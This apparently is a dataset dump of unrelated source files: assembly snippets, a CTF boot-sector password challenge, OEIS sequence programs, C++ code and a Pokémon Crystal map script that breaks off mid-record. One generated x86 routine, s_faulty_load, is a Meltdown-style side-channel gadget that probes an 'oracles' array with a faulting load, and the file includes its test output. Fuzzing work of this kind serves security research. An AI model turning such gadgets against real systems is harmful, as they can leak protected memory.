text stringlengths 1 1.05M |
|---|
#.data
#.text
#.globl fivemain
#fivemain:
# j quicktest
# li $v0, 10
# syscall
#quicktest:
# jr $ra
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0xd78, %r11
nop
nop
cmp $43550, %rsi
mov (%r11), %ecx
nop
nop
nop
add %rax, %rax
lea addresses_D_ht+0xb28, %rsi
lea addresses_UC_ht+0x170d8, %rdi
nop
nop
nop
and $36544, %r9
mov $106, %rcx
rep movsw
nop
nop
nop
nop
dec %rcx
lea addresses_WC_ht+0x10578, %rsi
lea addresses_normal_ht+0x161f8, %rdi
clflush (%rsi)
nop
nop
and %r13, %r13
mov $17, %rcx
rep movsq
nop
nop
mfence
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r15
push %r9
push %rdi
push %rsi
// Store
lea addresses_A+0xdd98, %rsi
nop
nop
nop
cmp %r9, %r9
movl $0x51525354, (%rsi)
nop
nop
nop
nop
nop
sub $15370, %r13
// Store
lea addresses_WC+0xdf98, %rsi
nop
nop
nop
nop
nop
sub %r9, %r9
mov $0x5152535455565758, %r13
movq %r13, (%rsi)
// Exception!!!
nop
nop
nop
mov (0), %r13
nop
nop
nop
xor $43177, %r9
// Store
lea addresses_US+0x1b598, %r12
sub $39249, %r11
mov $0x5152535455565758, %r13
movq %r13, (%r12)
nop
nop
nop
nop
nop
add %r13, %r13
// Store
lea addresses_WT+0x4624, %r15
and %r11, %r11
mov $0x5152535455565758, %rdi
movq %rdi, %xmm2
vmovups %ymm2, (%r15)
nop
nop
nop
cmp $54078, %r13
// Store
lea addresses_WT+0x1fa18, %r11
and $65256, %r13
movw $0x5152, (%r11)
nop
nop
nop
nop
nop
cmp %r15, %r15
// Store
lea addresses_WT+0x5598, %r9
nop
nop
and $57851, %rdi
mov $0x5152535455565758, %rsi
movq %rsi, (%r9)
nop
cmp $38832, %rdi
// Faulty Load
lea addresses_A+0xdd98, %r11
nop
nop
xor $63614, %rdi
movb (%r11), %r12b
lea oracles, %rdi
and $0xff, %r12
shlq $12, %r12
mov (%rdi,%r12,1), %r12
pop %rsi
pop %rdi
pop %r9
pop %r15
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A', 'congruent': 0}}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC', 'congruent': 9}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_US', 'congruent': 11}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT', 'congruent': 1}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT', 'congruent': 7}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT', 'congruent': 11}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_A', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 2}}
{'dst': {'same': False, 'congruent': 4, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}}
{'dst': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 4, 'type': 'addresses_WC_ht'}}
{'54': 21829}
54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54
*/
|
BITS 16
ORG 0x7c00
start:
cli
xor ax, ax
mov ds, ax
mov es, ax
mov fs, ax
mov ss, ax
mov gs, ax ; TODO: these might not all be needed, could save some bytes maybe
xor bx, bx
mov sp, 0x7c00
; what osdev says to do to enable SSE
mov eax, cr0
and ax, 0xfffb
or ax, 0x2
mov cr0, eax
mov eax, cr4
or ax, 3 << 9
mov cr4, eax
mov si, msg
call puts
mov di, password ; user input goes here
input:
xor ah, ah
int 0x16
stosb
mov ah, 0xe
int 0x10 ; does int10h clobber al? I hope not...
cmp di, password+16
jne input
movaps xmm0, [aes_key]
movaps xmm3, [password]
call do_aes
pxor xmm3, [pw_enc]
ptest xmm3, xmm3
je decs2
mov si, oof
call puts
jmp $
decs2:
mov si, stage2
s2loop:
movaps xmm0, [password] ; password is now key
movaps xmm3, [si]
call do_aes
movaps [si], xmm3
add si, 0x10
cmp si, pw_enc
jne s2loop
jmp stage2
; xmm0 = key
; xmm3 = data
do_aes:
pxor xmm2, xmm2
pxor xmm3, xmm0
mov bl, 0xe5
mov cx, 10
mov byte [rcon+5], 1
encloop:
rcon: aeskeygenassist xmm1, xmm0, 69
pshufd xmm1, xmm1, 0b11111111
shufps xmm2, xmm0, 0b00010000
pxor xmm0, xmm2
shufps xmm2, xmm0, 0b10001100
pxor xmm0, xmm2
pxor xmm0, xmm1
movzx ax, byte [rcon+5]
shl ax, 1
div bl
mov [rcon+5], ah
loop next
aesenclast xmm3, xmm0
ret
next: aesenc xmm3, xmm0
jmp encloop
puts:
mov ah, 0xe
lodsb
test al, al
jz .done
int 0x10
jmp puts
.done:
ret
msg:
DB 0xd, 0xa, "We upgraded from RC4 this year!", 0xd, 0xa
DB "Password: ", 0
oof:
DB 0xd, 0xa, "big oof", 0
ALIGN 16
stage2:
mov si, winmsg
call puts
jmp $
winmsg:
DB 0xd, 0xa, 0xd, 0xa, "Wow, 512 bytes is a lot of space, I even had room for this verbose message.", 0xd, 0xa
DB "I hope you enjoy the rest of AOTW!", 0xd, 0xa
DB 0xd, 0xa, "Anyway, here's your flag: ", 0x1a," AOTW{XXXXXXXXXXXXXXXX} ", 0x1b, 0xd, 0xa
DB 0xd, 0xa, " - Retr0id", 0
TIMES 0x200-0x20-($-$$) \
DB 0
pw_enc:
DB 247, 254, 26, 128, 54, 81, 56, 144, 160, 52, 17, 109, 48, 94, 82, 84
; Encrypted AAAAs (for testing)
;DB 61, 145, 88, 74, 207, 26, 238, 227, 115, 141, 211, 145, 202, 35, 41, 176
aes_key: ;random bytes + 55aa
DB 109, 121, 128, 185, 165, 10, 151, 36, 13, 45, 252, 54, 13, 149
DB 0x55, 0xAA
password:
|
; Inputs: a, b
; Outputs: a = gcd(a, b)
; Destroys: c
; Assumes: a and b are positive one-byte integers
;
; Taken from https://rosettacode.org/wiki/Greatest_common_divisor#Z80_Assembly
gcd:
cp b
ret z ; while a != b
jr c, else ; if a > b
sub b ; a = a - b
jr gcd
else:
ld c, a ; Save a
ld a, b ; Swap b into a so we can do the subtraction
sub c ; b = b - a
ld b, a ; Put a and b back where they belong
ld a, c
jr gcd
; some extra instrs for testing one or two parse
; TODO : move these to a new file for testing lexing pass only
;jr a, b
;jr 45
;jr b
;jr c, 22
|
;
; TRS 80 C Library
;
; getk() Read key status
;
; Stefano Bodrato - Apr. 2008
;
;
; $Id: getk.asm,v 1.3 2016/06/12 17:32:01 dom Exp $
;
SECTION code_clib
PUBLIC getk
PUBLIC _getk
.getk
._getk
call $2b
ld l,a
ld h,0
ret
|
#include <_dialog/dialog.errorwarninginfo.h>
#include <_resource/resource.image.alerts.h>
#include <_controller/controller.localization.h>
#include <_type/type.winds.soundbank.h>
void _errorDialog::executeInternal(){
_windsSoundBank::play( _windsSound::fatalError );
_imageDialog::executeInternal();
}
void _warningDialog::executeInternal(){
_windsSoundBank::play( _windsSound::alert );
_imageDialog::executeInternal();
}
void _infoDialog::executeInternal(){
_windsSoundBank::play( _windsSound::bubble );
_imageDialog::executeInternal();
}
_errorDialog::_errorDialog( wstring message , _optValue<wstring> okLabel , _optValue<wstring> otherLabel ) :
_imageDialog( move(message) , _localizationController::getBuiltInString("lbl_error") , BMP_AlertImageError() , move(okLabel) , move(otherLabel) )
{}
_infoDialog::_infoDialog( wstring message , _optValue<wstring> okLabel , _optValue<wstring> otherLabel ) :
_imageDialog( move(message) , _localizationController::getBuiltInString("lbl_info") , BMP_AlertImageInfo() , move(okLabel) , move(otherLabel) )
{}
_warningDialog::_warningDialog( wstring message , _optValue<wstring> okLabel , _optValue<wstring> otherLabel ) :
_imageDialog( move(message) , _localizationController::getBuiltInString("lbl_warning") , BMP_AlertImageWarning() , okLabel.isValid() ? move(okLabel) : _optValue<wstring>( _localizationController::getBuiltInString("lbl_dismiss") ) , move(otherLabel) )
{} |
#include <algorithm>
#include <bitset>
#include <cassert>
#include <cctype>
#include <climits>
#include <cmath>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <fstream>
#include <iostream>
#include <iomanip>
#include <iterator>
#include <list>
#include <map>
#include <numeric>
#include <queue>
#include <set>
#include <sstream>
#include <stack>
#include <string>
#include <utility>
#include <vector>
using namespace std;
const double EPS = 1e-9;
const int INF = 0x7f7f7f7f;
const double PI=acos(-1.0);
#define READ(f) freopen(f, "r", stdin)
#define WRITE(f) freopen(f, "w", stdout)
#define MP(x, y) make_pair(x, y)
#define SZ(c) (int)c.size()
#define PB(x) push_back(x)
#define F(i,L,R) for (int i = L; i < R; i++)
#define FF(i,L,R) for (int i = L; i <= R; i++)
#define FR(i,L,R) for (int i = L; i > R; i--)
#define FRF(i,L,R) for (int i = L; i >= R; i--)
#define FOREACH(i,t) for (typeof(t.begin()) i=t.begin(); i!=t.end(); i++)
#define ALL(p) p.begin(),p.end()
#define ALLR(p) p.rbegin(),p.rend()
#define SET(p) memset(p, -1, sizeof(p))
#define CLR(p) memset(p, 0, sizeof(p))
#define MEM(p, v) memset(p, v, sizeof(p))
#define CPY(d, s) memcpy(d, s, sizeof(s))
#define getI(a) scanf("%d", &a)
#define getII(a,b) scanf("%d %d", &a, &b)
#define getIII(a,b,c) scanf("%d %d %d", &a, &b, &c)
#define getL(a) scanf("%lld",&a)
#define getLL(a,b) scanf("%lld %lld",&a,&b)
#define getLLL(a,b,c) scanf("%lld %lld %lld",&a,&b,&c)
#define getC(n) scanf("%c",&n)
#define getF(n) scanf("%lf",&n)
#define getS(n) scanf("%s",n)
#define vi vector < int >
#define vii vector < vector < int > >
#define pii pair< int, int >
#define psi pair< string, int >
#define ff first
#define ss second
#define ll long long
#define ull unsigned long long
#define ui unsigned int
#define us unsigned short
#define ld long double
template< class T > inline T _abs(T n) { return ( (n) < 0 ? -(n) : (n) ); }
template< class T > inline T _max(T a, T b) { return ( ! ( (a) < (b) ) ? (a) : (b) ) ; }
template< class T > inline T _min(T a, T b) { return ( ( (a) < (b) ) ? (a) : (b) ) ; }
template< class T > inline T _swap(T &a, T &b) { T temp=a;a=b;b=temp;}
template< class T > inline T gcd(T a, T b) { return (b) == 0 ? (a) : gcd( (b), ( (a) % (b) ) ) ; }
template< class T > inline T lcm(T a, T b) { return ( (a) / gcd( (a), (b) ) * (b) ); }
//******************DELETE****************
#define shubhashis
#ifdef shubhashis
#define debug(args...) {dbg,args; cerr<<endl;}
#else
#define debug(args...) // Just strip off all debug tokens
#endif
struct debugger{
template<typename T> debugger& operator , (const T& v){
cerr<<v<<" ";
return *this;
}
}dbg;
//******************DELETE****************
int main() {
//READ("in.txt");
//WRITE("out.txt");
int n;
while(~getI(n))
{
if(n==0) break;
priority_queue <int, vector<int>, greater<int> > v;
for(int i=0;i<n;i++)
{
int k;
getI(k);
v.push(k);
}
int sm=0;
while(v.size()!=1)
{
//debug(v[0],v[1],v[0]+v[1]);
int one=v.top();
v.pop();
int two=v.top();
v.pop();
int k=one+two;
sm=sm+k;
v.push(k);
}
printf("%d\n",sm);
}
return 0;
}
|
; A041058: Numerators of continued fraction convergents to sqrt(35).
; Submitted by Christian Krause
; 5,6,65,71,775,846,9235,10081,110045,120126,1311305,1431431,15625615,17057046,186196075,203253121,2218727285,2421980406,26438531345,28860511751,315043648855,343904160606,3754085254915,4097989415521,44733979410125,48831968825646,533053667666585,581885636492231,6351910032588895,6933795669081126,75689866723400155,82623662392481281,901926490648212965,984550153040694246,10747428021055155425,11731978174095849671,128067209762013652135,139799187936109501806,1526059089123108670195,1665858277059218172001
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
dif $2,10
mul $2,5
add $3,$2
lpe
mov $0,$3
|
mac macro
ld a, 5
endm
init ld a, 0
ld a, 1
ld a, 2
ld a, 3
ld a, 4
rotulo mac
ld a, 6
ld a, 7
ld a, 8
ld a, 9
ld a, 10
|
/*
* Copyright © <2010>, Intel Corporation.
*
* This program is licensed under the terms and conditions of the
* Eclipse Public License (EPL), version 1.0. The full text of the EPL is at
* http://www.opensource.org/licenses/eclipse-1.0.php.
*
*/
// Kernel name: RoundShift_C_4x4.asm
//
// Do (...+32)>>6 to 4x4 (NV12 8x4) interpolated chrominance data
//
//#if !defined(__RoundShift_C_4x4__) // Make sure this is only included once
//#define __RoundShift_C_4x4__
// TODO: Optimize using instruction compression
add (16) acc0<1>:w r[pRESULT,0]<16;16,1>:w 32:w
add (16) acc1<1>:w r[pRESULT,nGRFWIB]<16;16,1>:w 32:w
asr.sat (16) r[pRESULT,0]<2>:ub acc0<16;16,1>:w 6:w
asr.sat (16) r[pRESULT,nGRFWIB]<2>:ub acc1<16;16,1>:w 6:w
//#endif // !defined(__RoundShift_C_4x4__)
|
; A151790: Partial sums of A151789.
; 1,6,11,31,36,56,76,156,161,181,201,281,301,381,461,781,786,806,826,906,926,1006,1086,1406,1426,1506,1586,1906,1986,2306,2626,3906,3911,3931,3951,4031,4051,4131,4211,4531,4551,4631,4711,5031,5111,5431,5751,7031,7051
mov $3,$0
mov $5,$0
lpb $5
mov $0,$3
sub $5,1
sub $0,$5
mov $4,$0
mov $6,1
mul $6,$0
lpb $2
lpb $4
div $6,2
sub $4,$6
lpe
mov $0,$4
sub $2,1
lpe
mov $2,4
mov $4,4
pow $4,$0
add $1,$4
lpe
div $1,4
mul $1,5
add $1,1
|
object_const_def ; object_event constants
const ROUTE34_YOUNGSTER1
const ROUTE34_YOUNGSTER2
const ROUTE34_YOUNGSTER3
const ROUTE34_LASS
const ROUTE34_OFFICER
const ROUTE34_POKEFAN_M
const ROUTE34_GRAMPS
const ROUTE34_DAY_CARE_MON_1
const ROUTE34_DAY_CARE_MON_2
const ROUTE34_COOLTRAINER_F1
const ROUTE34_COOLTRAINER_F2
const ROUTE34_COOLTRAINER_F3
const ROUTE34_POKE_BALL
Route34_MapScripts:
db 0 ; scene scripts
db 1 ; callbacks
callback MAPCALLBACK_OBJECTS, .EggCheckCallback
.EggCheckCallback:
checkflag ENGINE_DAY_CARE_MAN_HAS_EGG
iftrue .PutDayCareManOutside
clearevent EVENT_DAY_CARE_MAN_IN_DAY_CARE
setevent EVENT_DAY_CARE_MAN_ON_ROUTE_34
sjump .CheckMon1
.PutDayCareManOutside:
setevent EVENT_DAY_CARE_MAN_IN_DAY_CARE
clearevent EVENT_DAY_CARE_MAN_ON_ROUTE_34
sjump .CheckMon1
.CheckMon1:
checkflag ENGINE_DAY_CARE_MAN_HAS_MON
iffalse .HideMon1
clearevent EVENT_DAY_CARE_MON_1
sjump .CheckMon2
.HideMon1:
setevent EVENT_DAY_CARE_MON_1
sjump .CheckMon2
.CheckMon2:
checkflag ENGINE_DAY_CARE_LADY_HAS_MON
iffalse .HideMon2
clearevent EVENT_DAY_CARE_MON_2
return
.HideMon2:
setevent EVENT_DAY_CARE_MON_2
return
DayCareManScript_Outside:
faceplayer
opentext
special DayCareManOutside
waitbutton
closetext
ifequal TRUE, .end_fail
clearflag ENGINE_DAY_CARE_MAN_HAS_EGG
readvar VAR_FACING
ifequal RIGHT, .walk_around_player
applymovement ROUTE34_GRAMPS, Route34MovementData_DayCareManWalksBackInside
playsound SFX_ENTER_DOOR
disappear ROUTE34_GRAMPS
.end_fail
end
.walk_around_player
applymovement ROUTE34_GRAMPS, Route34MovementData_DayCareManWalksBackInside_WalkAroundPlayer
playsound SFX_ENTER_DOOR
disappear ROUTE34_GRAMPS
end
DayCareMon1Script:
opentext
special DayCareMon1
closetext
end
DayCareMon2Script:
opentext
special DayCareMon2
closetext
end
TrainerCamperTodd1:
trainer CAMPER, TODD1, EVENT_BEAT_CAMPER_TODD, CamperTodd1SeenText, CamperTodd1BeatenText, 0, .Script
.Script:
loadvar VAR_CALLERID, PHONE_CAMPER_TODD
endifjustbattled
opentext
checkflag ENGINE_TODD
iftrue .Rematch
checkflag ENGINE_GOLDENROD_DEPT_STORE_SALE_IS_ON
iftrue .SaleIsOn
checkcellnum PHONE_CAMPER_TODD
iftrue .NumberAccepted
checkevent EVENT_TODD_ASKED_FOR_PHONE_NUMBER
iftrue .AskAgain
writetext CamperTodd1AfterText
buttonsound
setevent EVENT_TODD_ASKED_FOR_PHONE_NUMBER
scall .AskNumber
sjump .FinishAsk
.AskAgain:
scall .AskNumber2
.FinishAsk:
askforphonenumber PHONE_CAMPER_TODD
ifequal PHONE_CONTACTS_FULL, .PhoneFull
ifequal PHONE_CONTACT_REFUSED, .NumberDeclined
gettrainername STRING_BUFFER_3, CAMPER, TODD1
scall .RegisteredNumber
sjump .NumberAccepted
.Rematch:
scall .RematchStd
winlosstext CamperTodd1BeatenText, 0
readmem wToddFightCount
ifequal 4, .Fight4
ifequal 3, .Fight3
ifequal 2, .Fight2
ifequal 1, .Fight1
ifequal 0, .LoadFight0
.Fight4:
checkevent EVENT_RESTORED_POWER_TO_KANTO
iftrue .LoadFight4
.Fight3:
checkevent EVENT_BEAT_ELITE_FOUR
iftrue .LoadFight3
.Fight2:
checkflag ENGINE_FLYPOINT_BLACKTHORN
iftrue .LoadFight2
.Fight1:
checkflag ENGINE_FLYPOINT_CIANWOOD
iftrue .LoadFight1
.LoadFight0:
loadtrainer CAMPER, TODD1
startbattle
reloadmapafterbattle
loadmem wToddFightCount, 1
clearflag ENGINE_TODD
end
.LoadFight1:
loadtrainer CAMPER, TODD2
startbattle
reloadmapafterbattle
loadmem wToddFightCount, 2
clearflag ENGINE_TODD
end
.LoadFight2:
loadtrainer CAMPER, TODD3
startbattle
reloadmapafterbattle
loadmem wToddFightCount, 3
clearflag ENGINE_TODD
end
.LoadFight3:
loadtrainer CAMPER, TODD4
startbattle
reloadmapafterbattle
loadmem wToddFightCount, 4
clearflag ENGINE_TODD
end
.LoadFight4:
loadtrainer CAMPER, TODD5
startbattle
reloadmapafterbattle
clearflag ENGINE_TODD
end
.SaleIsOn:
writetext CamperToddSaleText
waitbutton
closetext
end
.AskNumber:
jumpstd asknumber1m
end
.AskNumber2:
jumpstd asknumber2m
end
.RegisteredNumber:
jumpstd registerednumberm
end
.NumberAccepted:
jumpstd numberacceptedm
end
.NumberDeclined:
jumpstd numberdeclinedm
end
.PhoneFull:
jumpstd phonefullm
end
.RematchStd:
jumpstd rematchm
end
TrainerPicnickerGina1:
trainer PICNICKER, GINA1, EVENT_BEAT_PICNICKER_GINA, PicnickerGina1SeenText, PicnickerGina1BeatenText, 0, .Script
.Script:
loadvar VAR_CALLERID, PHONE_PICNICKER_GINA
endifjustbattled
opentext
checkflag ENGINE_GINA
iftrue .Rematch
checkflag ENGINE_GINA_HAS_LEAF_STONE
iftrue .LeafStone
checkcellnum PHONE_PICNICKER_GINA
iftrue .NumberAccepted
checkevent EVENT_GINA_ASKED_FOR_PHONE_NUMBER
iftrue .AskAgain
writetext PicnickerGina1AfterText
buttonsound
setevent EVENT_GINA_ASKED_FOR_PHONE_NUMBER
scall .AskNumber1
sjump .FinishAsk
.AskAgain:
scall .AskNumber2
.FinishAsk:
askforphonenumber PHONE_PICNICKER_GINA
ifequal PHONE_CONTACTS_FULL, .PhoneFull
ifequal PHONE_CONTACT_REFUSED, .NumberDeclined
gettrainername STRING_BUFFER_3, PICNICKER, GINA1
scall .RegisteredNumber
sjump .NumberAccepted
.Rematch:
scall .RematchStd
winlosstext PicnickerGina1BeatenText, 0
readmem wGinaFightCount
ifequal 4, .Fight4
ifequal 3, .Fight3
ifequal 2, .Fight2
ifequal 1, .Fight1
ifequal 0, .LoadFight0
.Fight4:
checkevent EVENT_RESTORED_POWER_TO_KANTO
iftrue .LoadFight4
.Fight3:
checkevent EVENT_BEAT_ELITE_FOUR
iftrue .LoadFight3
.Fight2:
checkevent EVENT_CLEARED_RADIO_TOWER
iftrue .LoadFight2
.Fight1:
checkflag ENGINE_FLYPOINT_MAHOGANY
iftrue .LoadFight1
.LoadFight0:
loadtrainer PICNICKER, GINA1
startbattle
reloadmapafterbattle
loadmem wGinaFightCount, 1
clearflag ENGINE_GINA
end
.LoadFight1:
loadtrainer PICNICKER, GINA2
startbattle
reloadmapafterbattle
loadmem wGinaFightCount, 2
clearflag ENGINE_GINA
end
.LoadFight2:
loadtrainer PICNICKER, GINA3
startbattle
reloadmapafterbattle
loadmem wGinaFightCount, 3
clearflag ENGINE_GINA
end
.LoadFight3:
loadtrainer PICNICKER, GINA4
startbattle
reloadmapafterbattle
loadmem wGinaFightCount, 4
clearflag ENGINE_GINA
end
.LoadFight4:
loadtrainer PICNICKER, GINA5
startbattle
reloadmapafterbattle
clearflag ENGINE_GINA
end
.LeafStone:
scall .Gift
verbosegiveitem LEAF_STONE
iffalse .BagFull
clearflag ENGINE_GINA_HAS_LEAF_STONE
setevent EVENT_GINA_GAVE_LEAF_STONE
sjump .NumberAccepted
.BagFull:
sjump .PackFull
.AskNumber1:
jumpstd asknumber1f
end
.AskNumber2:
jumpstd asknumber2f
end
.RegisteredNumber:
jumpstd registerednumberf
end
.NumberAccepted:
jumpstd numberacceptedf
end
.NumberDeclined:
jumpstd numberdeclinedf
end
.PhoneFull:
jumpstd phonefullf
end
.RematchStd:
jumpstd rematchf
end
.Gift:
jumpstd giftf
end
.PackFull:
jumpstd packfullf
end
OfficerKeithScript:
faceplayer
opentext
checktime NITE
iffalse .NoFight
checkevent EVENT_BEAT_OFFICER_KEITH
iftrue .AfterScript
playmusic MUSIC_OFFICER_ENCOUNTER
writetext OfficerKeithSeenText
waitbutton
closetext
winlosstext OfficerKeithWinText, 0
loadtrainer OFFICER, KEITH
startbattle
reloadmapafterbattle
setevent EVENT_BEAT_OFFICER_KEITH
closetext
end
.AfterScript:
writetext OfficerKeithAfterText
waitbutton
closetext
end
.NoFight:
writetext OfficerKeithDaytimeText
waitbutton
closetext
end
TrainerYoungsterSamuel:
trainer YOUNGSTER, SAMUEL, EVENT_BEAT_YOUNGSTER_SAMUEL, YoungsterSamuelSeenText, YoungsterSamuelBeatenText, 0, .Script
.Script:
endifjustbattled
opentext
writetext YoungsterSamuelAfterText
waitbutton
closetext
end
TrainerYoungsterIan:
trainer YOUNGSTER, IAN, EVENT_BEAT_YOUNGSTER_IAN, YoungsterIanSeenText, YoungsterIanBeatenText, 0, .Script
.Script:
endifjustbattled
opentext
writetext YoungsterIanAfterText
waitbutton
closetext
end
TrainerPokefanmBrandon:
trainer POKEFANM, BRANDON, EVENT_BEAT_POKEFANM_BRANDON, PokefanmBrandonSeenText, PokefanmBrandonBeatenText, 0, .Script
.Script:
endifjustbattled
opentext
writetext PokefanmBrandonAfterText
waitbutton
closetext
end
TrainerCooltrainerfIrene:
trainer COOLTRAINERF, IRENE, EVENT_BEAT_COOLTRAINERF_IRENE, CooltrainerfIreneSeenText, CooltrainerfIreneBeatenText, 0, .Script
.Script:
endifjustbattled
opentext
checkevent EVENT_GOT_SOFT_SAND_FROM_KATE
iftrue .GotSoftSand
writetext CooltrainerfIreneAfterText1
waitbutton
closetext
end
.GotSoftSand:
writetext CooltrainerfIreneAfterText2
waitbutton
closetext
end
TrainerCooltrainerfJenn:
trainer COOLTRAINERF, JENN, EVENT_BEAT_COOLTRAINERF_JENN, CooltrainerfJennSeenText, CooltrainerfJennBeatenText, 0, .Script
.Script:
endifjustbattled
opentext
checkevent EVENT_GOT_SOFT_SAND_FROM_KATE
iftrue .GotSoftSand
writetext CooltrainerfJennAfterText1
waitbutton
closetext
end
.GotSoftSand:
writetext CooltrainerfJennAfterText2
waitbutton
closetext
end
TrainerCooltrainerfKate:
trainer COOLTRAINERF, KATE, EVENT_BEAT_COOLTRAINERF_KATE, CooltrainerfKateSeenText, CooltrainerfKateBeatenText, 0, .Script
.Script:
endifjustbattled
opentext
checkevent EVENT_GOT_SOFT_SAND_FROM_KATE
iftrue .GotSoftSand
writetext CooltrainerfKateOfferSoftSandText
buttonsound
verbosegiveitem SOFT_SAND
iffalse .BagFull
setevent EVENT_GOT_SOFT_SAND_FROM_KATE
.GotSoftSand:
writetext CooltrainerfKateAfterText
waitbutton
.BagFull:
closetext
end
Route34IlexForestSign:
; unused
jumptext Route34IlexForestSignText
Route34Sign:
jumptext Route34SignText
Route34TrainerTips:
jumptext Route34TrainerTipsText
DayCareSign:
jumptext DayCareSignText
Route34Nugget:
itemball NUGGET
Route34HiddenRareCandy:
hiddenitem RARE_CANDY, EVENT_ROUTE_34_HIDDEN_RARE_CANDY
Route34HiddenSuperPotion:
hiddenitem SUPER_POTION, EVENT_ROUTE_34_HIDDEN_SUPER_POTION
Route34MovementData_DayCareManWalksBackInside:
slow_step LEFT
slow_step LEFT
slow_step UP
step_end
Route34MovementData_DayCareManWalksBackInside_WalkAroundPlayer:
slow_step DOWN
slow_step LEFT
slow_step LEFT
slow_step UP
slow_step UP
step_end
YoungsterSamuelSeenText:
text "This is where I do"
line "my training!"
done
YoungsterSamuelBeatenText:
